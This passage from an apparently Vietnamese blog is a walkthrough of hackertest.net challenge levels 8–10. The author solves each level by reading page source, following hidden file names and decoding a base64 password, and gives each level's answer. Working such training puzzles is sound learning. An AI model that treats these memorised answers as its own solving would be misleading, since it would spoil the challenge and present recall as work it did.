<td width="100%">Street Korner is your own online hacker simulation. With over 100 levels that require different skills to get to another step of the game, this new real-life immitation will help you advance your security knowledge.  This site will help you improve your JavaScript, PHP, HTML and graphic thinking in a fun way that will entertain any visitor! Have a spareminute? Log on! Each level will provide you with a new, harder clue to find a way to get to another level. Only few people have gotten to the end of the maze... Will you crack this site?</td></blockquote>
Các chữ mình tô đỏ đấy, các bạn thử ghép lại xem nhá, mình được: shackithalf Nhưng sau khi login thì mình được                        <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhR38a_3pcuy731A-d5NI88TsL3RupQNagaNGKIwJPYcqnbs2QrRz-iIKaaxyc6Dg33NAxMagFHau8waP6l9ArZKiwhlNvd0E1EDJM_fOFSI-CHHuU4xPi0iDApA1cR3mu4gfJwzvpWFNC/s1600/Screenshot+from+2013-11-05+23:01:05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="33" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhR38a_3pcuy731A-d5NI88TsL3RupQNagaNGKIwJPYcqnbs2QrRz-iIKaaxyc6Dg33NAxMagFHau8waP6l9ArZKiwhlNvd0E1EDJM_fOFSI-CHHuU4xPi0iDApA1cR3mu4gfJwzvpWFNC/s400/Screenshot+from+2013-11-05+23:01:05.png" width="400" /></a> 
MÌnh vẫn thử view scource xem sao. Mình đã tìm đươc đoạn này: 
<blockquote class="tr_bq">
color="#FFFFFF">Level 11: rofl.php</blockquote>
Tiếp tục vào level 11 thôi.

Hackertest - level 10

Level 10: http://www.hackertest.net/gazebruh.php Tìm kiếm pasword để tiếp đến level11, mình thử view scource nhé. Không có...

8:03 AM

Hackertest - level 9

Level 9: <a href="http://www.hackertest.net/phat.php">http://www.hackertest.net/phat.php</a> 
<blockquote class="tr_bq">
Crack the password</blockquote>
Điều này bạn có ý tưởng gì ko nhỉ, nhưng mình cứ view scource xem thế nào. oh, 1 đoạn dài. và mình tìm được 1 đoạn này nó nằm tầm ở giữa giữa. 
<blockquote class="tr_bq">
<!--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Password: Z2F6ZWJydWg= add a page extention to that ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ></blockquote>
 
Z2F6ZWJydWg= Nếu ai hay làm về crypto sẽ nhìn biết ngay đây là mã hóa base64, mình dùng tool này đẻ giải nhé. 
<a href="http://www.asciitohex.com/">http://www.asciitohex.com/</a>
 
<blockquote class="tr_bq">
 </blockquote>

Hackertest - level 9

Level 9: http://www.hackertest.net/phat.php Crack the password Điều này bạn có ý tưởng gì ko nhỉ, nhưng mình cứ view scource xem thế nào...

5:53 AM

Hackertest - level 8

Level 8 <a href="http://www.hackertest.net/pwd2.php">http://www.hackertest.net/pwd2.php</a><div>
 <div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4jjdMIDTI5IbsDKOjcP1XK-zneK6uOsg2GZZ5hFn3hSHE4gxhgqCGzQ1iIAwW950L2li3ePCRqYlJB8okWmfX77eDyRz8ODtvYCwdjzGvJ5jJwmLxsox-7iwBsiJjsmPOtp-OOTKAgSH8/s1600/Screenshot+from+2013-11-05+20:23:54.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4jjdMIDTI5IbsDKOjcP1XK-zneK6uOsg2GZZ5hFn3hSHE4gxhgqCGzQ1iIAwW950L2li3ePCRqYlJB8okWmfX77eDyRz8ODtvYCwdjzGvJ5jJwmLxsox-7iwBsiJjsmPOtp-OOTKAgSH8/s400/Screenshot+from+2013-11-05+20:23:54.png" width="400" /></a></div>
 
Lại có khung login, nhưng khi mình view scource lại ko có gì cả. Nhưng các bạn nên để ý kĩ nhé, nó sẽ có 1 đoạn như thế này 
<blockquote class="tr_bq">
<form action=phat.php method=post></blockquote>
1 file phat.php mình thử luôn nhé, khi vào mình thấy báo lỗi 
                         <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirdkC4TLWcc8knQgMdSxqWS6zqKQ5n5x9l2aAdAZc5Renurtmad37Yn2vQpClCb5b17AxPlrzh3yWpMg-Pa7ALtQmapgY0ekCR702d_WJyuqw03XEuRenVfHCbfHO8XcdGatXfa__LKMNd/s1600/Screenshot+from+2013-11-05+20:27:54.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="95" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirdkC4TLWcc8knQgMdSxqWS6zqKQ5n5x9l2aAdAZc5Renurtmad37Yn2vQpClCb5b17AxPlrzh3yWpMg-Pa7ALtQmapgY0ekCR702d_WJyuqw03XEuRenVfHCbfHO8XcdGatXfa__LKMNd/s400/Screenshot+from+2013-11-05+20:27:54.png" width="400" /></a>  Mình view scource xem có gì không nhé, oh, mình đang đi đúng hướng, nó có 1 dòng 
<blockquote class="tr_bq">
<BODY BGCOLOR="ffffff" TEXT="000000" BG="images/phat.gif"></blockquote>
Mình lại có 1 file phat.gif. Down về xem luôn nào. 
 
                           <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglWiLTugHGkJibZiRdDZsIqs78Lfv3VZb_NZHmrLJlmpUhD-WSnx_x7c6U0ZmFpRwNKddH898YMhC0JmgiaqpM5gCG8VKhYtaivgpwRRGQ1QkAGLemXrARHODR44HNvdbBSdWdO0YoMKZB/s1600/phat.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="244" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglWiLTugHGkJibZiRdDZsIqs78Lfv3VZb_NZHmrLJlmpUhD-WSnx_x7c6U0ZmFpRwNKddH898YMhC0JmgiaqpM5gCG8VKhYtaivgpwRRGQ1QkAGLemXrARHODR44HNvdbBSdWdO0YoMKZB/s320/phat.gif" width="320" /></a>  Các bạn để ý bên phải phia dưới có 1 dòng chữ vaf phóng to lên xem thử là gì nhé bạn 
<blockquote class="tr_bq">
Look for a. PhotoshopDocument!</blockquote>
 Mình suy nghĩ 1 lúc xem, họ có nhắc đến photoshop document, mình nghĩ ngay đến 1 ảnh .psd, và suy nghĩ của mình đẫ đúng. Mình down được 1 file phat.psd                             <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt7vitBAkzXHkzBf0Ahm6TQOVjPzuNxrxc22elVgXOsRCkaKLxn1eaXz41h5-9WnefMmoHxT362rE8T56XePje0H84hnOI3w24czh_Eg9vLjNhsVTy8ESrjO2iz6wnmdK6F11gLUYQArHO/s1600/phat.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt7vitBAkzXHkzBf0Ahm6TQOVjPzuNxrxc22elVgXOsRCkaKLxn1eaXz41h5-9WnefMmoHxT362rE8T56XePje0H84hnOI3w24czh_Eg9vLjNhsVTy8ESrjO2iz6wnmdK6F11gLUYQArHO/s320/phat.png" width="320" /></a> 
Nhín lằng nhằng quá, bạn hãy thử bỏ tất cả các chữ xem nhé. 
 
 
</div>

Hackertest - level 8

Level 8 http://www.hackertest.net/pwd2.php Lại có khung login, nhưng khi mình view scource lại ko có gì cả. Nhưng các bạn nên để ý kĩ n...

5:38 AM

Writeup CTF